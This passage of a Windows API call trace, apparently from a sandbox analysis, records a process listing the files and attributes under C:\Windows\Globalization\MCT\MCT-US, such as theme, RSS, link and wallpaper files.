	[0086.740] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.740] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.740] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Link" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\link"), fInfoLevelId=0x0, lpFileInformation=0x123a6058 | out: lpFileInformation=0x123a6058*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12211c35, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.740] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Link" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\link"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.740] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Link\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12211c35, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.740] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12211c35, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.740] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xf42b715, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xf42b715, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0086.740] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="US-1.url", cAlternateFileName="")) returned 1
	[0086.740] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="US-2.url", cAlternateFileName="")) returned 1
	[0086.740] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.741] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.741] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Link\\US-1.url" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\link\\us-1.url"), fInfoLevelId=0x0, lpFileInformation=0x123a6198 | out: lpFileInformation=0x123a6198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1
	[0086.741] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Link\\US-2.url" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\link\\us-2.url"), fInfoLevelId=0x0, lpFileInformation=0x123a61e8 | out: lpFileInformation=0x123a61e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1
	[0086.742] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Link\\desktop.ini" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\link\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123a6238 | out: lpFileInformation=0x123a6238*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xf42b715, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xf42b715, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xd2)) returned 1
	[0086.742] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\RSSFeed" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\rssfeed"), fInfoLevelId=0x0, lpFileInformation=0x123a6288 | out: lpFileInformation=0x123a6288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12237e9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.742] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\RSSFeed" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\rssfeed"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.742] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\RSSFeed\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12237e9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.743] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12237e9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.743] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="US-rss1.ini", cAlternateFileName="")) returned 1
	[0086.743] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.743] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.743] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\RSSFeed\\US-rss1.ini" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\rssfeed\\us-rss1.ini"), fInfoLevelId=0x0, lpFileInformation=0x123a6328 | out: lpFileInformation=0x123a6328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x101)) returned 1
	[0086.743] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Theme" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\theme"), fInfoLevelId=0x0, lpFileInformation=0x123a6378 | out: lpFileInformation=0x123a6378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12211c35, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.743] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Theme" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\theme"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.743] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Theme\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12211c35, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.743] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12211c35, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.743] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="US.theme", cAlternateFileName="")) returned 1
	[0086.744] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.744] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.744] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Theme\\US.theme" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\theme\\us.theme"), fInfoLevelId=0x0, lpFileInformation=0x123a6418 | out: lpFileInformation=0x123a6418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x97f)) returned 1
	[0086.744] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Wallpaper" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\wallpaper"), fInfoLevelId=0x0, lpFileInformation=0x123a6468 | out: lpFileInformation=0x123a6468*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12237e9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.745] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Wallpaper" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\wallpaper"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.745] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Wallpaper\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12237e9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.746] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12237e9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.746] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xf42b715, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xf42b715, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0086.746] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xab683, dwReserved0=0x0, dwReserved1=0x0, cFileName="US-wp1.jpg", cAlternateFileName="")) returned 1
	[0086.746] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xc049d, dwReserved0=0x0, dwReserved1=0x0, cFileName="US-wp2.jpg", cAlternateFileName="")) returned 1
	[0086.746] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xba82f, dwReserved0=0x0, dwReserved1=0x0, cFileName="US-wp3.jpg", cAlternateFileName="")) returned 1
	[0086.746] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xbb0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="US-wp4.jpg", cAlternateFileName="")) returned 1
	[0086.746] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xb2262, dwReserved0=0x0, dwReserved1=0x0, cFileName="US-wp5.jpg", cAlternateFileName="")) returned 1
	[0086.746] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xaa0f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="US-wp6.jpg", cAlternateFileName="")) returned 1
	[0086.747] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.747] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.747] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Wallpaper\\US-wp1.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\wallpaper\\us-wp1.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a66e8 | out: lpFileInformation=0x123a66e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xab683)) returned 1
	[0086.748] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Wallpaper\\US-wp2.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\wallpaper\\us-wp2.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a6738 | out: lpFileInformation=0x123a6738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xc049d)) returned 1
	[0086.749] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Wallpaper\\US-wp3.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\wallpaper\\us-wp3.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a6788 | out: lpFileInformation=0x123a6788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xba82f)) returned 1
	[0086.749] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Wallpaper\\US-wp4.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\wallpaper\\us-wp4.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a67d8 | out: lpFileInformation=0x123a67d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xbb0a3)) returned 1
	[0086.749] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Wallpaper\\US-wp5.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\wallpaper\\us-wp5.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a6828 | out: lpFileInformation=0x123a6828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xb2262)) returned 1
	[0086.749] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Wallpaper\\US-wp6.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\wallpaper\\us-wp6.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a6878 | out: lpFileInformation=0x123a6878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb86b85, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xec1f525, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xeb86b85, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xaa0f3)) returned 1
	[0086.750] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Wallpaper\\desktop.ini" (normalized: "c:\\windows\\globalization\\mct\\mct-us\\wallpaper\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123a68c8 | out: lpFileInformation=0x123a68c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0xf42b715, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0xf42b715, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x52)) returned 1
